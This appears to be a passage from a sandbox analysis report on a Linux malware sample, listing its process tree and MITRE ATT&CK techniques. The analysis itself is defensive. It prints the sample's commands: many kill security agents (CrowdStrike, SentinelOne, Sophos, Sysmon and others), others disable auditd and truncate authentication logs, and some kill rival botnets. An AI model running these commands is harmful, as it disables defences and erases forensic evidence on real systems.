/usr/bin/pkillpkill -9 -x avp34.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp35.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp36.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp37.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp38.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp39.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp40.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp41.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp42.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp43.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp44.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp45.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp46.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp47.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp48.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp49.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp50.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[f]alcond"1⤵
-
/usr/bin/pkillpkill -9 -f "[f]alcon"1⤵
-
/usr/bin/pkillpkill -9 -f "[c]sagent"1⤵
-
/usr/bin/pkillpkill -9 -f "[c]rowdstrike"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]entinelagent"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]entinelhelper"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]1-agent"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]1-service"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[x]agt"1⤵
-
/usr/bin/pkillpkill -9 -f "[c]bdefense"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[c]bagent"1⤵
-
/usr/bin/pkillpkill -9 -f "[c]arbonblack"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[r]epwel"1⤵
-
/usr/bin/pkillpkill -9 -f "[c]ylance"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]vcdiva"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[m]datp"1⤵
-
/usr/bin/pkillpkill -9 -f "[m]dallaips"1⤵
- System Network Configuration Discovery
-
/usr/bin/pkillpkill -9 -f "[s]ensedata"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]ophos"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]avscanner"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[r]tvscan"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[s]ymantec"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[S]ymAux"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[t]rendmicro"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[d]s_agent"1⤵
-
/usr/bin/pkillpkill -9 -f "[e]dragent"1⤵
-
/usr/bin/pkillpkill -9 -f "[o]squeryd"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]ysmon"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[c]lamd"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[k]lscan"1⤵
-
/usr/bin/pkillpkill -9 -f "[k]avfs"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[e]krn"1⤵
-
/usr/bin/pkillpkill -9 -f "[e]sets"1⤵
-
/usr/bin/pkillpkill -9 -f "[b]dagent"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[w]rsa"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[m]bam"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[m]alwarebytes"1⤵
-
/usr/bin/pkillpkill -9 -f "[3]60tray"1⤵
-
/usr/bin/pkillpkill -9 -f "[3]60safe"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[h]ipstray"1⤵
- System Network Configuration Discovery
-
/usr/bin/pkillpkill -9 -f "[u]sysdiag"1⤵
-
/usr/bin/pkillpkill -9 -f "[q]axengine"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[p]andad"1⤵
-
/usr/bin/pkillpkill -9 -f "[p]sanhost"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[f]savgui"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[f]-secure"1⤵
-
/usr/bin/pkillpkill -9 -f "[k]avtray"1⤵
-
/usr/bin/pkillpkill -9 -f "[v]ipre"1⤵
- Reads runtime system information
- System Network Configuration Discovery
-
/usr/bin/pkillpkill -9 -f "[s]bamsvc"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[g]data"1⤵
-
/usr/bin/pkillpkill -9 -f "[i]karus"1⤵
-
/usr/bin/pkillpkill -9 -f "[d]rweb"1⤵
-
/usr/bin/pkillpkill -9 -f "[e]service"1⤵
-
/usr/bin/pkillpkill -9 "[a]uditd"1⤵
-
/usr/sbin/auditctlauditctl -e 01⤵
-
/usr/bin/pkillpkill -9 -f "[a]ccton"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]noop"1⤵
- Reads runtime system information
-
/usr/bin/truncatetruncate -s 0 "/var/log/auth*" /var/log/secure /var/log/wtmp /var/log/lastlog1⤵
- Deletes log files
-
/usr/bin/pkillpkill -9 -x mirai1⤵
-
/usr/bin/pkillpkill -9 -x mirai.arm1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x mirai.mips1⤵
- System Network Configuration Discovery
-
/usr/bin/pkillpkill -9 -x mirai.mpsel1⤵
-
/usr/bin/pkillpkill -9 -x gafgyt1⤵
-
/usr/bin/pkillpkill -9 -x bashlite1⤵
-
/usr/bin/pkillpkill -9 -x tsunami1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x hakai1⤵
-
/usr/bin/pkillpkill -9 -x sora1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x qbot1⤵
-
/usr/bin/pkillpkill -9 -x astaroth1⤵
-
/usr/bin/pkillpkill -9 -x ozyman1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x nihappy1⤵
-
/tmp/.z/tmp/.z1⤵
-
/tmp/.z/tmp/.z1⤵
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Abuse Elevation Control Mechanism
1Sudo and Sudo Caching
1Scheduled Task/Job
1At
1Defense Evasion
Abuse Elevation Control Mechanism
1Sudo and Sudo Caching
1File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Indicator Removal
1Clear Linux or Mac System Logs
1Virtualization/Sandbox Evasion
2System Checks
2